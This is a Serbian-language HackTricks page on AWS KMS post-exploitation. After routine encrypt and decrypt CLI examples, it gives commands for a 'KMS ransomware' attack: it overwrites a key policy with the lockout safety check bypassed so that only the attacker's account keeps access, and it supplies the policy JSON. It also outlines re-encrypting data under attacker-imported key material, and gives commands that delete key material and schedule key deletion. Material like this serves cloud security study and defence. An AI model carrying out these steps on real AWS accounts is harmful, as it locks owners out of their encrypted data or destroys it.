AWS - KMS Post Exploitation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

KMS

Za više informacija pogledajte:

pageAWS - KMS Enum

Šifrovanje/Dešifrovanje informacija

  • Korišćenjem simetričnog ključa

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Korišćenje asimetričnog ključa:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Napadač sa privilegovanim pristupom nad KMS-om može izmeniti KMS politiku ključeva i dodeliti svom nalogu pristup nad njima, uklanjajući pristup koji je dodeljen legitimnom nalogu.

Tada korisnici legitimnog naloga neće moći pristupiti bilo kojim informacijama bilo koje usluge koja je enkriptovana tim ključevima, stvarajući jednostavan, ali efikasan ransomware nad nalogom.

Imajte na umu da AWS upravljani ključevi nisu pogođeni ovim napadom, samo Korisnički upravljani ključevi.

Takođe, imajte na umu potrebu za korišćenjem parametra --bypass-policy-lockout-safety-check (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI-ja).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Imajte na umu da ako promenite tu politiku i date pristup samo spoljnom nalogu, a zatim sa tog spoljnog naloga pokušate da postavite novu politiku kako biste vratili pristup originalnom nalogu, nećete moći.

Generički KMS ransomver

Globalni KMS ransomver

Postoji još jedan način za izvođenje globalnog KMS ransomvera, koji bi uključivao sledeće korake:

  • Kreirajte novi ključ sa ključnim materijalom uvezenim od strane napadača

  • Ponovo šifrujte starije podatke šifrovane prethodnom verzijom novim ključem.

  • Obrišite KMS ključ

  • Sada samo napadač, koji ima originalni ključni materijal, može dešifrovati šifrovane podatke

Uništavanje ključeva

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Imajte na umu da AWS sada sprečava prethodne radnje da se izvrše sa različitih naloga:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated